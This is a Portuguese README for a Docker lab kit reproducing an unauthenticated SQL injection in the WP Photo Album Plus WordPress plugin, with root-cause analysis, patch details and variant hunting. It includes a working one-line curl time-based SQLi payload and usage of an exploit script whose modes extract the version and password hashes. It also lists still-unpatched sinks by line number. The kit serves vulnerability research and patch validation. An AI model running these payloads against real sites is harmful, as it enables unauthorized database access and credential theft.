
# Kit de laboratório baseado em Docker para CVE-2026-6379, uma injeção SQL não autenticada no WP Photo Album Plus. Inclui PoC cego baseado em tempo, análise de causa raiz e validação de correção para pesquisa de segurança autorizada.
Parâmetro: wppa-supersearch
Severidade: CVSS 8.6 (alta) segundo WPScan/Wordfence
Correção do fornecedor: 2026-04-17 (commit d2b0d05d no espelho WordPressBugBounty)
Divulgação pública: 2026-04-27 (WPScan)
Este kit fornece um laboratório Docker autônomo e um PoC funcional para que você possa reproduzir, validar e ensinar a falha de ponta a ponta.
# No host do laboratório:
cd lab && ./setup.sh
# Quando o instalador imprimir "=== LAB READY ===" com um page_id:
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe-calendar
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode version
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode hash
Um alvo vulnerável responde em ~5s ao probe SLEEP; um alvo corrigido responde em .
<1sVerificação manual em uma linha:
curl -sS -o /dev/null -w "%{time_total}\n" \
"http://<host>:8080/?page_id=<id>&wppa-occur=1&wppa-supersearch=,o,,x%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))A)--%20-"
cve-2026-6379-wppa/
├── README.md # este arquivo
├── docs/
│ ├── writeup.md # análise de causa raiz + correção
│ └── prompts.md # prompts de pesquisa com IA que destilaram este kit
├── lab/
│ ├── docker-compose.yml # WordPress 6.5 + MySQL 8 + WPPA+ 9.1.10.011
│ ├── setup.sh # iniciar / derrubar / limpar
│ └── init/install.sh # instalador idempotente (wp-cli)
└── pocs/
├── exploit.py # SQLi cega baseada em tempo (probe / version / user / hash)
└── test_oracle.sh # teste de integração de ponta a ponta
wppa_get_photos() analisa o parâmetro de requisição wppa-supersearch como um
CSV s1,type,s3,DATA. Quando type='o' (Owner), DATA é concatenado
diretamente em uma string SQL:
$query = "SELECT id FROM $wpdb->wppa_photos
WHERE owner = '" . $data . "' AND album > 0 ORDER BY $order";
Sem aspas, sem $wpdb->prepare. Definir wppa-supersearch=,o,,x' OR (...)-- -
escapa o owner entre aspas e executa SQL arbitrário. O endpoint é a página
pública de front-end que hospeda o shortcode [wppa], portanto nenhuma autenticação é necessária.
A correção envolve cada caso anteriormente concatenado em $wpdb->prepare(..., %s).
d2b0d05d)O patch da CVE-2026-6379 reescreve seis sinks SQL distintos dentro de
wppa_get_photos() em wppa-functions.php. Ambos os modos do PoC (probe e
probe-calendar) atingem sinks independentes; os outros diferem apenas na forma do payload. Todos são não autenticados e alcançáveis através do mesmo gate wppa-occur=N do sink principal.
| # | Sink (linha vulnerável) | Parâmetros de gatilho | Modo do PoC |
|---|---|---|---|
| 1 | owner — WHERE owner = '$data' (linha 1244) | wppa-supersearch=,o,,… | --mode probe (validado ao vivo) |
| 2 | name — WHERE sname = '<wppa_name_slug($data)>' (linha 1237) | wppa-supersearch=,n,,… | não explorado (o filtro de slug remove aspas) |
| 3 | tag — WHERE tags LIKE '%$d%' (linha 1254) | wppa-supersearch=,g,,… | limitado por wppa_sanitize_tags() |
| 4 | calendar exifdtm — WHERE exifdtm LIKE '<wp_strip_all_tags($caldate)>%' (linha 1361) | wppa-calendar=exifdtm&wppa-caldate=… | --mode probe-calendar (validado ao vivo) |
| 5 | calendar timestamp — WHERE timestamp >= $t1 AND timestamp < $t2 (linha 1368) | wppa-calendar=timestamp&wppa-caldate=… | coerção numérica (intval) — limitado |
| 6 | calendar modified — igual a timestamp (linha 1375) | wppa-calendar=modified&wppa-caldate=… | coerção numérica — limitado |
As linhas #4–#6 também removeram um fragmento solto ORDER BY $order no mesmo
commit — veja "Endurecimento relacionado" abaixo.
Uma auditoria mais ampla de wppa-functions.php contra a mesma build vulnerável
revelou sinks fora do patch da CVE-2026-6379. Eles não são o que
WPScan/Wordfence publicou, e nem todos são igualmente exploráveis, mas estão
documentados aqui para que o laboratório também seja útil para a caça de variantes.
stripslashes( $wpdb->prepare( ... IN (%s) ... ) ) — provável vulnerabilidade separadaStatus: presente em 9.1.11.001 (pós-patch). Não abordado por d2b0d05d.
Candidato a uma CVE de acompanhamento.
%s não é válido para uma lista IN separada por vírgulas (sempre emite uma única
string entre aspas). O plugin contorna isso envolvendo a declaração preparada
em stripslashes(), que remove exatamente o escape que prepare()
acabou de adicionar — reabrindo a injeção se qualquer elemento da lista for contaminado pelo atacante.
Ocorrências representativas: wppa-functions.php linhas 660, 711, 831, 838,
889, 895, 900, 971, 1028, 1034, 1041, 1122, 1144, 1190, 1410, 1414, 1465,
1470, 1476, 1481, 1491.
Consulta de caça para análise de variantes:
docker exec cve26-6379-wp grep -n "stripslashes( \$wpdb->prepare" \
/var/www/html/wp-content/plugins/wp-photo-album-plus/wppa-functions.php
ORDER BY $order — parcialmente abordadoO patch removeu ORDER BY $order dos sinks de calendário/cláusula IN, mas
o deixou em outros. $order é definido a partir do estado de execução do plugin (tabela
de configurações) — a explorabilidade requer um caminho de escrita nesse estado. Trate como
endurecimento.
wp_strip_all_tags() usado como sanitizador SQL (variante de #4)wp_strip_all_tags remove HTML, não SQL. Onde quer que apareça ao redor de um
fragmento SQL entre aspas, esse fragmento é injetável. Além de caldate, audite
qualquer outro valor de requisição que passe por essa função antes da
concatenação.
| Estado | probe | probe-calendar |
|---|---|---|
| Vulnerável (9.1.10.011) | [+] VULNERABLE — ~5.0s ≥ 3.5s | [+] VULNERABLE — ~5.0s ≥ 3.5s |
| Corrigido (9.1.11.001) | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
| Plugin desativado | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
Página sem shortcode [wppa] | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
Alterne versões em um laboratório em execução:
# Corrigido:
docker exec cve26-6379-wp wp --path=/var/www/html --allow-root \
plugin install wp-photo-album-plus --version=9.1.11.001 --force --activate \
--allow-root || true
# Re-execute o probe; deve ser negativo.
admin / adminadmin — nunca exponha à internet../setup.sh purge (remove o volume do banco de dados).wppa-functions.php (vulnerável): https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/2d8c2f64/wp-photo-album-plus/wppa-functions.phpwppa-functions.php (corrigido): https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/d2b0d05d/wp-photo-album-plus/wppa-functions.php